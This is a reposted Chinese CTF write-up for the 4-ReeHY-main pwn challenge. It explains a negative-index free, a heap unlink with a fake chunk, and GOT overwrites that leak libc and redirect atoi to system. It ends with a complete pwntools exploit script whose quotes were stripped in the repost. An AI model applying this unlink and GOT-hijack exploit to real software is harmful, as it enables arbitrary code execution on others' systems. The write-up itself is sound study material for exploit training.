万能钥匙ctf--4-ReeHY-main调试记录--unlink

Posted xingzherufeng

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了万能钥匙ctf--4-ReeHY-main调试记录--unlink相关的知识,希望对你有一定的参考价值。

 

 

查询题目保护开启,发现只开了NX,未开启RELRO和PIE,思路可以从修改got表展开。

 技术分享图片

 

ida装载分析程序执行流程,main函数发现是一个常规的菜单类题目,推测为堆相关题目。

 技术分享图片

 

Malloc函数。分配最大不超过4096,且如果大小超过112就直接放入堆区,否则先存入栈区,再拷贝到堆区。存在结构体保存堆大小、堆指针以及标记是否分配。

 技术分享图片

 技术分享图片

 

Delete函数。直接删除,并没有判断标记是否被删除。删除后标记置0,但是未进行指针置0,存在uaf情况,可利用点为double free。观察没有判断输入为负的情况,可能存在问题。

 技术分享图片

 

Edit函数。判断是否被释放,未被释放才可以编辑。向堆区输入长度为申请时结构体保存的长度的字符串。

 技术分享图片

 

Show功能无效

 技术分享图片

 

利用思路:

从free函数分析来看,首先未判断free的块号是否为负,可能存在释放后再申请内存不缺定的情况,可能分配到关键地方。

 

使用free(-2)会释放保存堆块大小数组的内存地址,再申请即可申请回来该地址从而进行修改。

 技术分享图片

 技术分享图片

上图即是保存申请堆块大小的数组内容,是一个size为20的堆块。

至于为什么要free(-2),我们从free函数的汇编代码分析,我们重点关注输入和free之间发生了什么。从下图中看出,首先比较输入是否小于4,接着将输入逻辑左移4位后值为-32,即0x20。因此执行汇编代码后释放的为0x6020c0,即保存堆大小的内存区域。

 技术分享图片

由于该块大小为0x20,即属于fastbin,我们可以释放后再申请同样大小的堆块即可返回该内存区域。通过下图的payload修改chunk0地址为0x100,用于覆盖chunk1。

 技术分享图片

 

接着我们可以编辑chunk0,我们在chunk0中伪造一个chunk,其状态为释放,fd和bk指针指向0x6020e0,该值保存的为申请的堆块指针。我们利用该指针进行unlink检查的绕过,执行完unlink后该值会被改为0x6020e0-0x18,即0x6020c8。这时,当我们再次编辑chunk0时,我们编辑的实际地址为0x6020c8,我们可以通过该地址溢出控制后面地址。

 技术分享图片

 

现在,我们在编辑chunk0即从0x6020c8开始编辑,通过覆盖修改结构体的值与是否分配的标记。

 技术分享图片

 

现在我们还缺少system的地址。我们通过修改free函数为puts函数来打印出puts的真实地址。这里有个坑点需要注意,在修改got的值时,不能用sendline函数,也就是说不能在末尾自动加xa0,会出错,因此需要将edit函数做修改,使得发送的内容为io.send(content)。

 技术分享图片

 

这之后,我们还缺少“/bin/sh”字符串,观察程序,我们发现atoi函数需要我们输入参数,而调用system函数也需要我们输入参数,因此我们把atoi函数改为system函数,并发送/bin/sh字符串。这里不知道为什么执行完上述free(1)后竟然自动recv了剩下的字符,没办法用edit,只能手写一下。

 技术分享图片

 

完整exp如下:

  1 #!/usr/bin/env python
  2 # coding=utf-8
  3 
  4 from pwn import *
  5 DEBUG = True
  6 
  7 if DEBUG:
  8     io = process(./pwn3)
  9     libc = ELF(./ctf.so.6)
 10     context.log_level = debug
 11 else:
 12     io = remote(172.168.17.2,10001)
 13 
 14 def welcome():
 15     io.recvuntil($ )
 16     io.sendline(frdqy)
 17 
 18 def add(size,index,content):
 19     io.recv()
 20     io.sendline(1)
 21     io.recv(1024)
 22     io.sendline(str(size))
 23     io.recv(1024)
 24     io.sendline(str(index))
 25     io.recv(1024)
 26     io.sendline(str(content))
 27 
 28 def free(index):
 29     io.recv()
 30     io.sendline(2)
 31     io.recv(1024)
 32     io.sendline(str(index))
 33 
 34 def edit(index,content):
 35     io.recv()
 36     io.sendline(3)
 37     io.recv(1024)
 38     io.sendline(str(index))
 39     io.recv(1024)
 40     io.send(content)
 41 
 42 system_off = libc.symbols[system]
 43 puts_off = libc.symbols[puts]
 44 g_point = 0x6020e0      #保存申请堆块的结构体
 45 fd = g_point-0x18       #unlink绕过检查
 46 bk = g_point-0x10       #unlink绕过检查
 47 free_got = 0x602018
 48 puts_got = 0x602020
 49 atoi_got = 0x602058
 50 puts_plt = 0x4006d0
 51 
 52 def exp():
 53     welcome()
 54     add(0x80,0,a*0x80)
 55     add(0x80,1,b*0x80)
 56     
 57     #gdb.attach(io)
 58     free(-2)            #释放后在申请会返回到保存堆块大小的数组内存上
 59     
 60     payload = ‘‘
 61     payload += p32(0x80*2)
 62     payload += p32(0x80)
 63     payload += p32(0)
 64     payload += p32(0)
 65     add(20,2,payload)   #修改已申请的堆块大小分别为0x100、0x80,填充剩下的值
 66 
 67     #溢出块0
 68     payload = ‘‘
 69     payload += p64(0)   #chunk0 pre_size
 70     payload += p64(0x81)#chunk0 size
 71     payload += p64(fd)  #chunk0 fd
 72     payload += p64(bk)  #chunk0 bk
 73     payload += a*(0x80-32)
 74     payload += p64(len(payload))    #chunk1 pre_size
 75     payload += p64(0x90)    #chunk1 size
 76     edit(0,payload)
 77 
 78     #unlink
 79     free(1)
 80     
 81     #再编辑chunk0,实际编辑的就是g_point - 0x18的值,可以覆盖到保存堆指针的结构体
 82     payload = ‘‘
 83     payload += p64(0)
 84     payload += p64(0)
 85     payload += p64(0)
 86     payload += p64(free_got)    #第一项修改为free_got
 87     payload += p64(1)
 88     payload += p64(puts_got)    #第二项修改为puts_got
 89     payload += p64(1)
 90     payload += p64(atoi_got)    #第三项修改为atoi_got
 91     payload += p64(1)
 92     edit(0,payload)
 93 
 94     #此时在编辑chunk0、chunk1、chunk2即可修改对应的函数值
 95     #修改free_got的值为puts从而泄漏计算出libc加载地址
 96     edit(0,p64(puts_plt))
 97    
 98     #打印puts_got的值
 99     free(1)
100     puts_addr =u64(io.recv()[0:6]+x00x00)
101     system_addr = puts_addr - puts_off + system_off
102     
103     #将atoi改为system
104     #edit(2,p64(system_addr))
105     io.sendline(3)
106     io.recv()
107     io.sendline(2)
108     io.recv()
109     io.sendline(p64(system_addr))
110  
111     #输入/bin/sh
112     io.sendline(/bin/sh)
113     io.interactive()
114     
115 exp()

 

以上是关于万能钥匙ctf--4-ReeHY-main调试记录--unlink的主要内容,如果未能解决你的问题,请参考以下文章

[Windows] Chrome扩展:云盘万能钥匙

苹果wifi万能钥匙怎么用

WiFi万能钥匙有Mac版吗?

苹果MAC电脑到底怎么使用WiFi万能钥匙

pc版wifi万能钥匙能不能跑字典

WIFI万能钥匙PC版字典文件能被替代么